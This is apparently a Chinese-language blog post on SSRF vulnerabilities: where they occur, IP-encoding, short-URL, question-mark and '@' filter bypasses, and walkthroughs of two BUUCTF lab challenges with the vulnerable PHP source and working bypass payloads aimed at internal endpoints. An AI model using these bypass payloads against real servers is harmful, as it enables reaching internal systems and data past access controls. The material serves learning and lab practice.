ssrf漏洞姿势

SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统

参考链接: link

扫盲?

可能出现的地方

需要上传网址的地方,比如: 社交分享功能:获取超链接的标题等内容进行显示; 在线翻译:给网址翻译对应网页的内容

漏洞验证

1
2
3
查看源代码是否在本地进行了资源请求,比如: 
https://www.xxx.com/a.php?image=(地址)
就可能存在SSRF漏洞

dnslog等工具测试
等待继续总结……

常见绕过

@绕过

下面实战部分有解释

ip地址转换绕过

有些防护会对内网ip地址做正则匹配,如: 127.0.0.1\192.168.0.1这些,这时候可以把这些ip数字改成其他形式,如:
192.168.0.1
(1)8进制格式:0300.0250.0.1
(2)16进制格式:0xC0.0xA8.0.1
(3)10进制整数格式:3232235521
(4)16进制整数格式:0xC0A80001
127.0.0.1
8进制: 0177.0.0.1
16进制: 0x7F.0.0.1
10进制整数格式:
16进制整数格式:

短网址绕过

什么是短网址捏?自行百度,网上有网址转化短网址的在线工具
如(www.baidu.com)与(https://dwz.lc/2fGYWaE)一样

利用问号绕过限制

比如:http://www.aaa.com/acb?Url=http://login.aaa.com 这是一个跳转链接,跳转到它的二级域名下,那么如何进行二级域名的绕过呢?
其实就是放到它自身的域名前面也就是你添加的想要跳转的域名的后面,如:http://www.aaa.com/acb?Url=http://test.com?login.aaa.com 那么,它其实是会跳转到这个test.com域名的,而这个域名自然就是你想跳转的域名辽。跳转后,问号和问号后面的内容会变为这样:http://www.test.com/?login.aaa.com

ip的特殊省略

eg: 127.0.0.1–>127.1

ip黑名单过滤的绕过

见下面实战

简单实战

buuctf[第二章 web进阶]SSRF Training

进入页面,查看php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
 <?php 
highlight_file(__FILE__);
function check_inner_ip($url) { //检查是否是内网
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); // http/https ://
if (!$match_result) {
die('url fomat error');
}
try{
$url_parse=parse_url($url); //搜索到了parse_url的解析和绕过
}
catch(Exception $e){
die('url fomat error');
return false;
}
$hostname=$url_parse['host']; //host: 域名
$ip=gethostbyname($hostname); //通过域名获取ip地址
$int_ip=ip2long($ip); //将 IPV4 的字符串互联网协议转换成长整型数字
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; //$int_ip==127.0.0.0||10.0.0.0||172.16.0.0||192.168.0.0
}
function safe_request_url($url){
if (check_inner_ip($url)) {
echo $url.' is inner ip';
}
else {
$ch = curl_init(); //curl_init(): 初始化1个url会话(顾名思义)
curl_setopt($ch, CURLOPT_URL, $url); //设置url
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //将其设置为1,可以获取返回值
curl_setopt($ch, CURLOPT_HEADER, 0); //你tm翻译这些干啥?
$output = curl_exec($ch); //执行
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url']) {
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
//return值呢?
}

$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
?>

url构成参考这个链接

那么举个例子,parse_url()会把1个url字符串解析成下面这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$url="http://a:@127.0.0.1:80@baidu.com/flag.php";
$parse=parse_url($url);
var_dump($parse);
?>
/*输出:
array(5) {
["scheme"]=>
string(4) "http"
["host"]=>
string(9) "baidu.com"
["user"]=>
string(1) "a"
["pass"]=>
string(13) "@127.0.0.1:80"
["path"]=>
string(9) "/flag.php"
}
*/

这个题的关键,在于parse_url(和curl_setopt()的解析url方式的8同: curl会匹配第一个@后的,而parse_url则匹配第二个@后的

构造payload:

1
url=http://a:@127.0.0.1:80@baidu.com/flag.php

被parse_url()解析为:

1
2
3
4
5
6
7
8
9
10
11
12
array(5) {
["scheme"]=>
string(4) "http"
["host"]=>
string(9) "baidu.com"
["user"]=>
string(1) "a"
["pass"]=>
string(13) "@127.0.0.1:80"
["path"]=>
string(9) "/flag.php"
}

但是curl则会匹配第一个@后的内容,于是就绕过辽

buuctf[第三章 web进阶]Python里的SSRF

进入页面,扫了一圈发现p线索都没有…..啊不是,最后看了看提示: url parameter is required 翻译: 需要参数url
所以说学好英语是多么重要,不要老是依赖机翻…

要求是尝试访问到容器内部的 8000 端口和 url path /api/internal/secret 即可获取 flag

127.0.0.1被限制,尝试绕过:
@失败,数制转换失败,localhost也8行,👴8行了

看了看wp,有以下几种方法

1
2
3
http://127.0.0.2:8000/api/internal/secret   //原理: 127.0.0.1127.0.0.2都是内网ip本地的默认地址,127.0.0.2如果不是特别设置应该8会存在...所以...
http://0:8000/api/internal/secret //用0代替了127.0.0.1,我也8知道为什么
http://0.0.0.0:8000/api/internal/secret //127.0.0.1是本机的环回地址,0.0.0.0代表本机上任何IP地址,因此可以利用0.0.0.0来绕过127.0.0.1的过滤。

ssrf漏洞姿势
https://bl4zygao.github.io/2022/07/13/ssrf漏洞学习/
Author
bl4zy
Posted on
July 13, 2022
Licensed under